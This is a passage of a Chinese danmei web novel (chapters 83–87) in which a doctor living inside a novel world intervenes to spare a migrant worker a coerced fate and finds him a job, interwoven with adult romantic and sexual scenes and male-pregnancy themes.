可能这也是郁瑟最大的一个缺陷——总是容易限于某种偏执, 对于生命的极度信仰。 说难听点,便是对死亡怀有的极端回避态度。 所以说,慕酌月的提议十分诱人, 令郁瑟的内心产生剧烈的动摇, 不禁退了一步,道, “先让我思考两天, 很快会告知你,我的答复。” 其实郁瑟除了心动之外, 也有一点自己的小心思。 话说枫音尘本尊也藏有与这个世界相互关联的小说, 假如要去依靠慕酌月的话,倒不如 郁瑟抱着枫音尘,枫音尘脖颈间的汗珠, 一颗颗地滚落在郁瑟的脸上。 还有枫音尘晶莹剔透的眼泪。 郁医生简直要严重怀疑, 某人其实属于泪失.禁体质。 只要一放纵起来,就忍不住到处喷水。 郁瑟捧住枫音尘泪汪汪的面颊,某人一张艳红斐然的绝色面庞,在自己的头顶时而清晰, 时而朦胧。 枫公主边梨花带雨, 边呐呐着, “我要死了,瑟瑟,老公, 你真得太会了。” 郁瑟最怕他边哭边凶狠,因为会代表着没完没了。 果不其然。 一整夜仿佛变成了二十四的小时似的,郁瑟被他哄得毫无招架之力,冥冥中感觉是自己很占便宜,被喊了老公,也让对方哭了不少回。 实际上损耗最多的却是郁瑟。 郁瑟不得不趴在枫音尘的怀里,用手指直直地戳着对方,言道,“你总这样为所欲为,我会死掉。” 枫公主得了便宜还撒娇说,“怎么会?我都是一次一个轮流的呀,完全没贪心地强迫你。” 那你还想怎样? 郁瑟道,“我觉得需要分个一三五和二四六,采用这样的轮班制。” 枫公主的眼神立刻光彩熠熠的,“那星期日呢?是不是可以一起?” 郁瑟气道,“星期日我要单独休息,你在想什么美事啊!” 郁瑟的手放置在腹部,即使已经清爽无比,依旧觉得哪里很不对劲儿似的,将掌心贴近脐窝附近,抚摸着道,“我最近应该跟你一起健身了。” “你瞧我这肚子。” 郁瑟试着用躺平的视角去看自己的脚尖,却发现腹部原本单薄的肌肉之上,像是覆盖了一层,将原有的腹肌线模糊得干干净净。 枫音尘则抱着他,亲了亲对方的面颊,似是不在意道,“我倒是挺喜欢你这样,摸起来肉肉的手感。” 肉肉的? 郁瑟几乎咬牙切齿地捏了一把枫公主轮廓分明的腹肌,“这算不算是只许州官放火,不许百姓点灯?” 两人玩闹了一阵,枫音尘提议要更多的好处,郁瑟已经两股战战求饶说,“你去洗个凉水澡吧,好不好?” 只有在这种时候,枫公主最不像个公主,霸道又缠人。 禁不住他的求饶,枫音尘只好不情不愿说,“我的体温很容易降低到冰冷的程度。” 郁瑟说,“我抱着你睡觉。” 好吧。 算是勉强答应了吧,枫音尘不情不愿地去洗澡。 郁瑟则在他离开的一瞬间,将手伸去了床头的隐藏保险柜,结果发现那本小说早已经被枫音尘又重新锁了进去。 好吧,这次是郁瑟说的。 他也只是想稍微再看一眼里面的内容而已。不过发现保险柜是锁起来的时候,郁瑟也随之松了一口气。 这种类似于小偷小摸的行为并不可取,他也不愿意真的去做。 所以郁瑟依照约定好的时间,跟慕酌月碰了一个头,简单地阐明自己的想法。 他只是想在自己的能力范围内,多去帮助一些需要帮助的人而已。 而不是做强行改变他人命运的圣子。 慕酌月笑笑说,“这是自然,而且我们也不能强行改变太多角色的命运,毕竟整个世界是由无数条线并行交织成的,干涉得太多了,恐怕会引发蝴蝶效应。” 为了叫郁瑟慢慢适应,慕酌月当即决定拿出一份诚意,将人拉到了龙城一处生意兴隆的夜总会门外。 郁瑟来到这个世界,还从未接触过任何娱乐场所,不禁对慕酌月道,“我不喜欢到环境嘈杂的地方,假如你是想请我进去的话,那么我表示拒绝。” 郁瑟立刻显露出一股不愿涉足此地的神情,眉头微微蹙起,仿佛那夜总会内隐藏着某种令他不安的因素。 慕酌月见状,嘴角勾起一抹玩味的笑,他轻轻拍了拍郁瑟的肩膀,安抚道:“放心,我不是要带你进去体验那种纸醉金迷的生活。只是这里有一个需要我们的线索,有那种你想要帮助的人。” 唯恐郁瑟不相信,慕酌月道,“我这双腿目前只能依靠轮椅来行动,假如我故意将你骗到这种龙蛇混杂的地界,是为了对你做什么不好的行为,你大可以狠狠踢断我的腿。” 郁瑟:“医生不会这样做,这违背职业道德,谢谢。” 但是,郁瑟又说,“正当防卫就是可以的了。” 慕酌月哈哈大笑,想来,他真的很少在任何人面前露出真性情来。 眼前的郁医生虽然只是一个替身,一个冒牌货,他照着心上人的模样,写进小说里的NPC。 可是郁医生就是郁医生,怎么样都惹人喜爱。 慕酌月给郁瑟指了一个方向,那里是夜总会的后门,此刻那个幽暗的深巷子里正有一对儿野鸳鸯在拼命纠缠,恐怕连去宾馆的钱也省下来了。 慕酌月眼神一凛,低声对郁瑟说:“再等十分钟,会有一个身穿牛仔衣裤的男人,傻呵呵地站在这里。” “这个人叫徐泾镇,是一个货真价实的老实男人,家在乡下,专程到龙城来打工的。” 郁瑟专心地听他解说,一双温柔的眼睛如同潋滟的湖水,静静地凝视着慕酌月,似乎在试图从他的话语中捕捉到更多的信息。 慕酌月被这样的目光看得有些着迷,不自觉得往郁医生的位置靠了靠,肩膀几乎与郁瑟的并在一起。 郁医生好温暖,也好好闻。 这是慕酌月最希望达到的目的之一,肢体的碰触,言语的交流,气息的交融。 仿佛下一秒,郁瑟就会成为他的私有物。 慕酌月道,“徐泾镇在这里等待,是因为老乡说好要给他介绍工作。” “但是不出一分钟,会有一个西装男出现,这个男人会误以为徐泾镇是个出来卖的MB,将人强行带去车里嗯。” 郁瑟作为过来人,十分理解这个嗯字里,饱含了多种角度的意思。 慕酌月道,“总之,这个徐泾镇会被对方吃抹干净,而后被拿捏了把柄,满足对方的各种癖好。” 小玩具啊,鞭打什么的。 “不过怎么说呢,”慕酌月似乎带着一种调侃的语气,淡淡地描述着徐泾镇的未来命运,“日久生情吧,最后俩人也是慢慢地习惯了彼此的存在,最后还生下了属于两人的爱情结晶。” 郁瑟认真地听他讲了不少,只提出了一个最简单的问题。 “假如等一会儿出来的西装男,误以为徐泾镇是MB的话,那么他接下来对于这个老实人做的事情,算不算得上是强迫?或者胁迫?” 慕酌月笑了,“看怎么理解吧,因为绝大部分人只会看重结局,并不在意过程。” 郁瑟沉默了半晌,给出了一个很肯定的答案。 “创作这个书中世界的人,为什么如此钟爱编纂渣男角色?” 又说。 “这本书,其实不会是慕先生你写的吧?” 第84章 第 84 章 能救一个是一个 慕酌月怔了一下, 没想到郁瑟会突然问出这样的问题,随即坦然笑道,“怎么, 你觉得我这样的身份, 还需要写狗血小说来解闷吗?” 郁瑟踟蹰了一个瞬间,觉得虽然有点把握,但还不至于立刻实话实说, 换了玩笑似的语气, 言道,“确实, 慕先生守着偌大的商业帝国, 确实不至于无聊到做这种事。” 慕酌月饶有兴趣地看向郁瑟,准备跟对方你来我往, 再对峙个来回。 郁瑟已经顺利收回全部表情, 面上不显分毫,转身下车道,“我离开一下。” 顺利避开了慕酌月探究的目光, 一身轻松走去了夜总会后门的昏暗深处。 刚才在这里热烈上演的激情燃烧的戏码已经结束, 空气中除了酒精和呕吐物的混合臭气,似乎还夹杂了欢爱的残留腥味。 徐泾镇这个傻乎乎的大直男,居然还能坚持站在如此恶劣的环境中央。 看来生活状况确实窘迫。 郁瑟主动走过去,也不做多余的掩饰, 朝他问道, “等人啊?” 徐泾镇似乎也并非是纯憨, 尤其之前的野战场面多少刺激到了直男的心绪。 哦,原来男人之间也可以玩得这么奔放啊~ 所以,他看见了郁瑟的第一眼, 便以为对方是来寻欢的,随即朝郁瑟抛了个半白眼,态度嫌弃道,“我就随便站在这里而已。” 一副,咋的,我挡你道儿的神态。 搞得郁瑟立刻言笑晏晏,心说这人确实是挺实诚的个性,但是待会儿会被人带上车去,强行给压弯了。 想想假如自己是读者的话,确实会激起一定的好奇心,产生阅读兴趣,急切想知道对方会是怎么一个家伙 不对,我是医生。 咳咳咳。 郁瑟的态度一直显得很随和,没有任何冒犯的意思,若不是他有些忘记枫音尘那本小黄.书里的具体细节,大概可以用接下来的剧情,牵引一下徐泾镇。 主要是那书实在太辣眼了,把自己描写得像个饥.渴的少夫一样 咳咳咳,又扯远了。 郁瑟道,“难道你不是在这里等着王哥的人?那就是我看错了,抱歉。” 幸亏慕酌月提到过一嘴的,这个人原本只是站在这里等着姓王的同乡给他介绍工作。 郁瑟算是活学活用了。 徐泾镇一听,立刻消去了浑身的警戒,主动凑向郁瑟的身边追问道,“啊,原来你认识王哥啊,真的很抱歉!我还以为你是想想跟我那个” 郁瑟道,“这不怪你,要怪还是王哥不对,他不该把咱俩约在这样的场所见面的,确实很容易引起误会。” 嗯,郁瑟忽然觉得自己的演技真是不错,简直信手拈来。 而后对着全然相信自己的徐泾镇又下了一剂猛药,“我记得王哥说,你想找一个什么样的工作来着” 直接将徐泾镇的真话调出来道,“是的,我特别着急,我母亲病倒了,需要一大笔医药费,所以我现在很需要一笔钱” 都说一个人的崩溃,是从借钱开始的。 郁瑟沉吟了片刻,他只是出手试试干预一下剧情,到还不至于连对方的生活琐事一齐包办。 不过,谁让他是郁瑟呢? 郁瑟给他了一个电话号码,言道,“钱多的活儿暂时没有,但是一个月五六千的有,就看你怎么考虑了。” 徐泾镇一听,双眼彻底亮了起来,像他这种没什么高文化,只是在异乡打工的普通人,目前又没有稳定的工作,一个月五六千的收入对他来说,已经是相当可观了。 徐泾镇连忙点头,感激之情溢于言表,“谢谢你,只要能让我有份工作,我什么都愿意做!” 郁瑟拍了拍他的肩膀,笑道,“行了,也别太激动,明天你先去这个地方面试,我会提前打好招呼的,至于能不能过,就看你自己了。” 徐泾镇郑重地点了点头,将电话号码牢牢记在心里,仿佛这是他目前唯一的救命稻草。 两人又闲聊了几句,郁瑟便找了个借口准备要离开,结果从夜总会的后门走出来一个人模狗样的阔少。 这阔少一瞧不是凡夫俗子,长相颇为英俊,浓眉大眼,即使放在电视剧里,那是属于男主那一类的标配模样。 郁瑟立刻被眼前这人吸引,心底不停地嘀咕着——就是这渣男! 原本应该在这狭路相逢里产生一段缠绵悱恻的狗血剧情。 结果,这个阔少匆匆看了郁瑟和徐泾镇几眼,以为这两人之间是有什么交易,所以很快地坐上自己的豪车离开了。 郁瑟:就这? 郁瑟:就这么容易,便阻碍了剧情的原发展? 不能说有意思,但绝对是出乎意料。 郁瑟跟徐泾镇说了再见,一身轻松地又返回到了慕酌月的车上。 慕酌月正托着腮,微眯起眼眸打量着他,说不上是什么神态,但郁瑟莫名觉得他似乎在憋笑。 “怎么了?”郁瑟摸了摸自己的脸,疑惑地问道。 慕酌月轻轻摇头,嘴角却勾起了一抹不易察觉的微笑,“我刚才喊了你好几声,可是你依然坚定不移地走向了那个小配角,甚至还出手扭转了他跟另一个男人的相遇。” “这个人的命运其实没什么好改变的,我只是带你来证明一下,我的能力能帮助你做更有意义的事情。” 小配角? 郁瑟真心想问他,难道所有人在他的眼中,都是区区蝼蚁吗? 或者,你是在责怪我擅自做主? 可能他的行为确实是凭着条件反射,也确实是一意孤行。 郁瑟并不是替自己开解,“但是,一段通过压抑人性,扭曲个人情感,而最终达到彼此和解的感情,完全没有开始的必要。” 郁瑟冥思苦想了一句,“与其在扭曲中苟且,不如在清醒中告别。” 在他看来,徐泾镇是一个直男,因为老实本分先成为对方的玩物,最后经过漫长的折磨与自我挣扎,才在最终和平地接受自己被压的事实,并且从中获得圆满。 郁瑟真的不苟同,而且他的身体似乎比较容易做出正义性的举动。 所以,他自己也没来得及拦住他自己。 慕酌月淡淡地瞥了他一眼,“你的观点,我并非不能苟同。” 但是。 慕酌月像是被什么迷住了,伸出手想要抚摸郁瑟的面颊,最终因为一些必须要克制的原因,转而将郁医生头顶的发丝拨了一拨。 “你跟他真得很像,”慕酌月的声音微乎其微,完全不想让眼前的郁瑟看出端倪,但又完全沉迷其中似的。 我不应该把你写给枫音尘的。 慕酌月后悔了,真的比之前的每一天,都更加后悔一点点。 日积月累。 我应该不给你写任何配偶,而应该让你无限自由,假如我能提前预设自己会变成其他人,任何一个人的话。 我一定会,拼命去做你唯一的男人。 慕酌月道,“无论如何,郁医生现在算是认可我的能力,并不是在作假了吧?” 郁瑟假如没有看过那本书,一定还是心存疑惑的。 现在多少是认可了。 言道,“那接下来,还请慕先生再给我一些提示。” 完了,他真的把自己当作救世主了吗?!郁瑟的反思根本没有到两秒钟,又想着接下来可以帮助到谁,而感到一丝丝地期待。 慕酌月也希望他能在这种剧情游戏里,越来越靠向自己似的,言道,“这是自然,只要郁医生随叫随到的话。” 郁瑟第二天在枫音尘的怀里醒来,昨晚回来的太晚,所以没有打算打扰对方,直接自己返回自己的家休息了。 谁想到枫音尘还是自己主动贴过来了。 郁瑟用手摸了摸枫音尘的睡美人脸,还忍不住想再亲一口。 直接迎上了枫音尘睁开的碧玉色眼眸,被对方眼底摇荡的万顷碧波给深深吸纳了进去。 枫音尘见他看痴了的一个瞬间,立刻抱住郁医生问责道,“你晚上怎么不去我那边,我冷得完全睡不着!” 说着,抱紧郁瑟进行了一个多小时的疯狂摩擦。 最后,还是郁瑟体力不支地躺在床上,被枫家主用温热的毛巾,一丝丝地清理着肌肤。 郁瑟忽然想起自己昨晚擅自做了一件傻事,对枫音尘支支吾吾了几下。 枫家主察言观色也是好手,立刻言道,“怎么了?是想说点什么?我来听听。” 郁瑟倒是不后悔自己的所作所为,毕竟能帮一个是一个。 “我想问问你,你那边能不能提供一个月薪五六千的工作?” 哈? 枫音尘一脸难以置信地看着郁瑟,仿佛听到了什么天大的笑话似的。 微微挑眉,问道,“瑟瑟,你这是在跟我开玩笑吗?月薪五六千的工作,你确定不是在侮辱我?” “替我近身做事的人,月薪最低是四万五起步的,枫家的花匠、家佣,试用的第一个月,也都是拿一万多的月薪。” 郁瑟微怔了一下,眼睛不由瞪圆了。 枫音尘这才假装不住,轻笑着搂住已经擦干净的郁医生道,“当然可以,只要是老公介绍来的人,都可以留下来做事。” 白梵不就是个鲜明的例子? 其实上一次,郁瑟求着枫澄将白梵留下来做事,为了这个,枫音尘暗自生了几天的闷气。 还有,郁瑟还想把林梁宇介绍到萧君耀家里做事那一次。 瑟瑟还总跟金管家商量事情 瑟瑟有事不找我。 瑟瑟是看不起我嘛! 枫音尘巴不得郁瑟每一天都求他做各种事情。 所以,现在他特别满意,用鼻尖微微蹭了郁瑟的面颊道,“要不然,我把酬劳降低到五六千,这样你好解释一点?” 第85章 第 85 章 华点 枫公主看起来应该是整个家里最闲的人。 实则不然。 每天早晨五点钟便起床健身, 六点钟清洁护肤整理精致仪容,七点钟准时享受一天最营养的早餐,八点钟坐车送郁医生上班, 回来用两个小时带着伊尔曼散心, 看看书,午休,再精致装扮出门, 跟生意场上的骨灰级竞争对手唇枪舌战, 购物,晚上再坐车去接郁医生下班。 安排得满满当当, 几乎没有一刻闲暇。 郁瑟给他说的事情, 枫公主必然比任何人都要上心,所以郁医生前脚一走, 他就立刻给金管家交待了这件事情。 随后, 枫音尘依照老习惯,带着伊尔曼在宅子的庭院中散步玩耍。 枫家这片地方已经住了几代人,每一代人的审美情趣大致相似, 但是也有细微的不同。 枫音尘尤其喜爱凸显他精致品味的庭园设计, 每一处景观都经过精心雕琢,既有古典的雅致,又不失现代的简约。 庭院中错落有致的花坛里,栽种着各种名贵的花卉, 四季不败, 香气袭人, 一条蜿蜒的小径穿梭其间,两旁是修剪得整整齐齐的灌木丛,宛如一幅精美的画卷。 伊尔曼从某些角度来讲, 并不像是一条蛇般冰冷可怕,很多时候它也会活泼过头,尤其在郁瑟的面前,更是得宠到能和枫音尘分同一块床的地步。 所以针对这个重要问题,枫音尘与小黑蛇进行了一次“严肃”地交涉,用主人特有的眼神盯着它,试图传达出某种警告。 人蛇之间正在互相宣誓主权,恰好路过树丛,听到有男人轻声地低笑着,这声音十分温顺,完全不像是家佣那种经过培训的统一模式,而是一种能令旁观者瞬间感受到的亲昵。 微微带着一些旖旎的语调,让人不禁遐想联翩。 枫音尘心中一凛,立刻警觉起来,他轻轻拍了拍伊尔曼的脑袋,示意它安静下来,然后缓缓拨开树丛,向声音传来的方向窥探。 只见不远处,一个身着雪白毛衣的男子正背对着他们,站在一株榕树之下,朝着另一个男人笑得灿烂。 “澄少爷,时间差不多,你也该上班去了,把遇安交给我吧。” 说话的正是白梵,此刻他正笑意如春,眉眼如画,比刚到枫家时的气色好了很多,一张清秀可人的脸蛋慢慢绽放出富有活力的光彩。 他的声音温柔而轻快,站在他对面的人,枫音尘并不陌生,那是枫家的大少爷,枫澄。 枫澄的脸上带着几分宠溺,即使怀中抱着已经一岁多的白遇安,他也能伸出一条手臂,轻轻拍了拍白梵的肩膀,笑道:“没关系,我今天的会已经通知延后了,稍微再晚一点走也是可以的。” 枫澄的身材健硕,胸型富有完美的弹性,再加上体型高大,看起来完全像是一座巍峨的山峦,立在白梵面前。 替白梵遮挡了刺眼的阳光,撑起一块安静且安稳的阴凉。 阳光透过树叶的缝隙,斑驳地洒在他的肩头,为他镀上了一层金色的光辉。 怀里的小家伙最近也开始学着讲话了,双手抓住枫澄,胖嘟嘟的小脸蛋全是信任,对着枫澄喊,“papapapa” 白梵立刻纠正儿子说,“遇安,你又淘气了,不可以乱叫,这是澄少爷!” 白遇安才不害怕,小脑袋只偏向枫澄的方向,朝着枫澄露出小天使般的微笑。 枫澄似乎没有阻止的意思,言道,“反正孩子迟早也得这样叫我,早一些练习,可以促进我们之间的关系。” 白梵似乎还很有些忧惧,单手摸了一下耳畔的发丝,垂眸低语说,“澄少爷,这件事我觉得是时候该给你一个回复了,其实我” “孩子已经能听得明白了,晚上我们私下里说。” 枫澄已经不准他再选择逃避,而是给彼此都保留了一份回旋的余地。 不知这两人究竟有没有发现枫音尘的存在,不过作为一家之主的枫公主,已经感觉头重脚轻似的,连头顶的天,都似乎要塌了一般。 什么情况!!这是什么情况!! 我的大侄子居然要拐别人家的老婆回来做老婆,顺便连别人家的儿子也一并给拐跑了? 这简直是晴天霹雳,让枫音尘有种头晕目眩的冲动。 他怎么也没有想到,枫澄居然会主动脱离剧情,现在完全开始沿着野马一般的思路,脱缰而行啦!! 枫澄的情路虽然更加坎坷,可是他将来还是会跟对方在一起,两人要携手共度一生的!! 而且!! 枫澄也是要生孩子的啊!!! 枫音尘单手扯了一把树叶,准备冲出去给这两个家伙来个棒打鸳鸯。 哪知伊尔曼居然灵性似的,用蛇头拨开了他早已经发僵的下颌,似乎在告诫主人不要冲动。 枫音尘的牙根咬得生疼,依然将注意力全部集中在那对彼此充满爱意的男婴男身上。 伊尔曼冰冷的蛇瞳中,缓缓流露出一丝人性化的担忧,盘旋在枫音尘的肩头,不断用自己的方式安慰着这位即将失控的主人。 最终,枫音尘深吸一口气,努力平复自己内心的翻涌,恨恨地转身离开。 其实枫音尘并不是不同意枫澄谈恋爱,即使这个最受家族重视的家伙,找了其他人,不是小说中的那个,也是没有问题的。 但是,枫音尘的完美主义细胞,又强烈地使他反感白梵这个存在。 不。 更确定地说。 白梵根本配不上他的优秀侄子,而且还带着另一个炮灰渣男的孩子,居然胆敢嫁到反派家来。 不行! 这坚决不行!! 枫音尘火急火燎地赶回自己的房间,将《强宠郁医生的九十九夜》这本书从保险柜拿出来,依照自己的记忆力,快速地翻找着关于枫澄的部分。 找的过程中,倒是稍微看了一眼跟郁医生的剧情部分。 ——完全不怪他,每天偷看郁医生的小黄.段子,完全成为生活必须,手指和大脑肌肉条件性反射行为。 枫音尘看了一下书籍,已经到了这本书的第85章,上面明确写着: 郁医生怀孕了,但是他并不知道,连枫音尘也没料想到,只是每天忙着扒在对方身上深耕浅出,恨不得全塞进去。 直到枫音尘真得得逞了,将两个同时放进去,郁医生有点出了血,这才慌乱地送人去了医院。 枫音尘:“真好。” 呸呸呸! 不是说瑟瑟出血好。 呸呸呸。 枫公主强行将注意力从郁瑟的部分抽离开来,再次关注到了大侄子枫澄的部分。 枫澄从小有个青梅竹马,两人在18岁之前一直关系很好,但就在枫澄18岁生日那天,一切发生了翻天覆地的变化。 青梅竹马因为家庭原因突然搬离,从此两人失去了联系。 这突如其来的变故让枫澄陷入了深深的失落之中,回味过来就是。 枫澄在青春期隐隐约约得觉醒了性.意识,发现自己喜欢的人,恰好是青梅竹马。 这个青梅竹马在国外闯出一片天地之后,大概在八十几章就该回来了,回来第一件事情,就是联系枫澄。 枫澄原本压抑的情思,在两人再次见面的瞬间,焚烧作了熊熊烈火。 只是对方一直挺木讷的,完全不知道枫澄的心意,甚至险些被家族推出来联姻,而真的跑去结婚。 总之,枫澄的暗恋最终能获得对方的肯定,也确实遭遇了不少心灵上的磨难。 但是!! 枫音尘将书重重地合在一起,用力过猛,震得手掌心微微发麻。 但是白梵不行,首先他的心不定,按照剧情安排,这个小白脸最后看在孩子的面子上,回到了陆云辰的身边。 还是送大侄子去暗恋赛道更合适吧。 正在枫音尘暗自谋划,该怎么把青梅竹马提前弄回来的间隙,金管家毕恭毕敬地敲门进来。 他以为自己打扰到了枫音尘,准备退出去等候。 枫音尘摸了摸肩膀上的伊尔曼,情绪不佳道,“已经进来了,就直接说。” 金管家最懂他的情绪变化,不由小心谨慎说,“郁医生介绍来的人已经到了,我也把对方安顿好了。” 枫音尘在听见郁瑟的名字时,情绪才有所缓和,淡道,“对方会做饭吗?” “嗯?”金管家有点摸不着头脑了。 枫音尘则突然嫌弃说,“后厨那个叫白梵的,做饭太寡淡,如果能辞退的话,你看着办一下。” 金管家不由提醒说,“白梵是郁医生介绍进来的,这可以吗?” 枫音尘:“!!” 险些忘记了! 枫音尘说,“那新来的能做些什么?”最好能做饭,把白梵换掉,送去眼不见心不烦的地方。 金管家如实回复,“新来的人叫做徐泾镇,人很勤快,肯吃苦,我已经派人教他去学习园艺了。” 枫音尘:“就” 等等。 枫音尘像是突然发现到了什么华点,言道,“徐泾镇?哪几个字?” 听起来真心很熟悉,就仿佛刚才眼前滑过无数次的字眼。 枫音尘快速翻开书,将书递在金管家面前看了0.05秒,避免对方看见郁瑟的内容,言道,“是这几个字吗?徐泾镇。” 金管家纹丝不乱道,“是的。” 他看得很清楚,不过只看了主人允许他看得部分。 “啊?” 枫音尘莫名其妙了,“怎么会是徐泾镇?” 说起来这个徐泾镇根本不是什么重要角色,随口一提的边角料而已。 可是! 枫音尘不由狐疑想:慕酌月、徐泾镇这些书里只写了几句话的人物,怎么突然都围到眼前来了? 第86章 第 86 章 孕检 郁瑟当晚返回枫音尘那边时, 与已经开始尝试管理园艺的徐泾镇意外相遇。 还是徐泾镇更加眼见,远远地瞧见了郁瑟,连声喊他。 郁瑟这才发现对方, 笑意盈盈地走过去。 那天徐泾镇离开夜总会时, 他的那个老乡老王随后便来了电话,大骂他的架子摆得真足,居然都没有到夜总会门口等着自己。 徐泾镇本来解释, 王哥你委托来的郁先生, 已经沟通好了工作啊。 哪知老王更加气愤,说他眼睛是瞎了, 还是耳朵聋了, 要不然就是脑子坏掉了。 “你那么可可怜怜地求我,我才肯把你介绍到夜总会来做的, 难道我之前跟你说得不清楚吗?你以后不再夜总会上班, 我把你约到夜总会做什么!” 徐泾镇被骂得顿时也来了脾气,大咧咧反问他,“夜总会的工作?你介绍我的是普通的服务员工作吗?” 两个男人看起来衣冠鲜亮, 脱了裤子就在夜总会的后墙做起来, 这样的场景极大得刺激了直男的心脏,而且从内心立刻将这个地方归结为鸡鸭之地。 徐泾镇心里窝火,明明自己是冲着正经工作来的,哪知老王却把他往这种腌臜地方领, 这不是害他吗? 老王也不再隐瞒他, “你以为就你这个初中学历, 想在龙城找个像样的工作会有多难?除了卖.屁股之外,当谁是大傻子吗?会一个月给你那么多钱?!你还不如去明抢呢!” 徐泾镇愈发生气,梗着脖子与老王在电话里吵嚷起来, 老王却不再理他,直接挂断了电话。 徐泾镇握着“嘟嘟”作响的手机,心里五味杂陈,甚至对郁瑟之前说的话,产生了极大的怀疑。 现在看来,他决定试一下的想法,还是极其明智的。 徐泾镇笑说,“主要是郁先生您看起来一脸正气,不像那种会骗人的人。而且您给我的待遇那么好,我总得亲自来瞧一瞧,心里才踏实嘛。” 徐泾镇的语气显得轻松自然,满满洋溢着对郁瑟的信任与崇拜之情。 意外地叫郁瑟感到了一丝丝的满足情绪,尤其他现在还知道,假如自己没有出手的话,眼前这个爽朗的男生,很有可能会被同乡介绍进夜总会里卖.身。 倒不是说能干涉到别人的命运,会有多么强烈的成就感,而是郁瑟觉得,能帮一把是一把,或许避开坏的缘分之后,迎接而来的,是崭新的人生前景呢? 徐泾镇高兴地搓了搓手,言道,“而且金管家说,枫家主了解到我家里有难处,提前预支了我母亲治病的钱,只要我好好整理院子,就能让我母亲得到最好的治疗。这简直就是雪中送炭啊!我徐泾镇何德何能,能遇到郁先生和枫家主这样的贵人。” 徐泾镇的感激难以抑制,对郁瑟的尊敬多加了几分。 郁瑟蹑手蹑脚走进卧室,枫音尘单手扶着面颊,侧卧在床上闭目养神,伊尔曼则盘成一团蚊香似的守在一旁。 感知到郁瑟的脚步声,小黑蛇立刻摇头晃脑,吐着信子,谄媚地向着对方的方向攀爬过去。 直到一根雪白的指尖摁住它的蛇尾,叫小黑蛇原地打滑了一下,肉滚滚得翻了一圈。 枫音尘闭着双眸,红唇慵懒道,“我都没激动,你这边瞎激动什么?又不是你的老公。” 郁瑟噗嗤一笑,凑过去主动吻了一下睡美人的嘴唇,对于徐泾镇那边获得的尊重和善意,有枫音尘很大一部分的功劳。 凑在某人耳畔笑说,“我的美人菩萨,要不要好心睁睁眼,我伺候你入个浴先?” 说是伺候,最后还是枫音尘给他洗澡。 郁瑟舒服地躺在浴缸里,枫音尘翘起二郎腿,坐在浴缸边沿,一捧一捧地往郁医生的身体间浇水。 浴室内的气氛氤氲的水汽,弥漫在小小的浴室空间里,郁瑟惬意地眯起双眸,享受着枫音尘的细致服务。 水珠沿着他精致的锁骨滑落,滴入浴缸的水面,激起一圈又一圈的涟漪,而水面底下隐藏的细节,又如令人血脉偾张的情愫,在无声中蔓延。 枫音尘的手指最终轻轻划过郁瑟的胸膛,每一次触碰都仿佛带着电流,让郁瑟的身体不由自主地颤抖。 最终,落在了郁瑟的腹部。 郁医生以为他又想接着往下摸了,结果枫音尘的手掌完全停驻了位置,很认真地贴合着某人微微凸起的腹部。 “瑟瑟,你” 其实郁瑟也发现了,之前两人总开玩笑,说是枫音尘的喂养太好,直接给体重完美的郁医生给干超标了。 不过,枫音尘今天意外重温了小说里的细节,书籍中的郁瑟属于怀孕体质,这段描写很难不令他在意。 枫音尘欲言又止。 郁瑟抓住他的手,轻柔地摁在腹部道,“我知道你在想什么,但是我只能很抱歉地回复你。” “我无法受孕,抱歉,其实我无法受孕,是有一定原因的,我” 曾几何时,郁瑟也想跟枫音尘说一点实话。 例如,他并不是这个世界的原住民,再例如,他是一个重生的人,他为什么会死,他曾经有什么难忘的心结。 以及,枫音尘究竟爱的是哪一个郁瑟。 不过,这个念头只在郁瑟的心里一闪而逝,正如慕酌月刚准备离间他们之间的感情时一样。 郁瑟坚信枫音尘爱的绝对是自己,包括他自己也是怀着相同的感情。 毕竟,郁医生偷偷看过小说的内容,发现枫音尘除了在床.事上跟书上描写的差不多强烈折腾。 其他方面,枫公主这般傲娇气傲的性子,待他却只有全身心的依赖。 所以郁瑟也觉得要尊重一下对方,朝枫音尘道,“最近医院有些忙乱,稍微等一两周,我会认真做个身体检查。” 就是那方面的检查。 “到时候,要是发现我真的怀不了的话,你可不要伤心到哭鼻子哦。”. 依照郁瑟对枫音尘的承诺,忙完这一周的事情,会偷偷地叫爱徒王齐给自己做一次全身检查。 主要是之前,郁瑟总打趣说要给王齐做一套B超检测,避免爱徒肚子里有什么隐藏款的小惊喜器.官。 如今这种事情转而落在自己头上,郁医生才真正体会到了爱徒之前强烈反抗的心情,B超室的床看起来都分外恐怖。 确实需要做很长时间的心理建设啊! 虽然他并不是直男,可是要承认自己的肚子微微发肿,是因为怀孕的话。 即使是深明大义的郁医生,也难免总找些逃避的借口。 例如他此刻正坐在抽血室的窗户口,将满满一长串的抽血单子交给里面的护士,并且故意聊天来分散对方的注意力。 护士一瞧内容就乐了,“血常规(CBC)、血脂七项、肝功能、肾功能、甲状腺功能哈哈哈,郁医生,您这起码要化验二十几项内容,最少抽十管血了,这是怎么了,你身体很不舒服吗?” 郁瑟也只能干笑,“有机会给医院里的员工全部来一套大验血。” 其实他是把孕检的抽血项目隐藏在里面,避免叫小丫头直接给看去,那就完蛋了。 小护士将橡皮筋刚给他扎在胳膊上。 慕酌月的电话意外打来了。 郁瑟从来没有如此急切地接听另一个人的电话的欲望,直接将橡皮筋抽下来,对着电话说,“你找我什么事?好的,好的,我马上出来见你。” 偶尔装出一脸的抱歉,朝小护士道,“化验单全部给我,我有急事要办,回来再做化验。” 第87章 第 87 章 女装癖 郁瑟出门将一沓化验单随手丢进垃圾桶内, 迈着轻快的步伐走出大楼正门。 刚才与他通电话不过三秒钟的人,居然已经坐在豪车中央,净亮的车窗大敞, 露出那一张棱角分明的脸庞, 以及嘴角边挂着的优雅笑容。 阳光透过窗户间隙,斑驳地洒在他的身上,为慕酌月镀上了一层淡淡的金辉, 更添了几分高不可攀的矜贵气质。 郁瑟的脚步不由自主地放慢, 目光紧紧锁定在那人身上,心中涌起一股莫名的情绪。 总觉得这个人好像每次出现前都在狠狠收拾自己的仪容, 企图用俊美无死角的容貌攻击我 跟枫音尘一模一样。 把我当作只会被绝世美貌吸引的白痴, 呵呵 好吧,我肤浅。(只针对于枫音尘那种顶级美人儿) 此一想, 郁瑟被自己丰富的内心戏给逗乐了, 单手趴在别人家的豪车窗口,不自觉得带着一份喜形于色。 “慕先生,您这是早就在楼下等我吗?”郁瑟歪着头, 笑容灿烂, 仿佛与慕酌月的关系更进一步。 慕酌月微微侧首,那双深邃的眼眸里似乎藏着星辰大海,轻轻一眨便能引人沉溺,嘴角勾起一抹淡笑, “那是自然, 我想听到郁医生的声音之后, 立刻见到郁医生的人。” 嗯,挺会说甜言蜜语的。 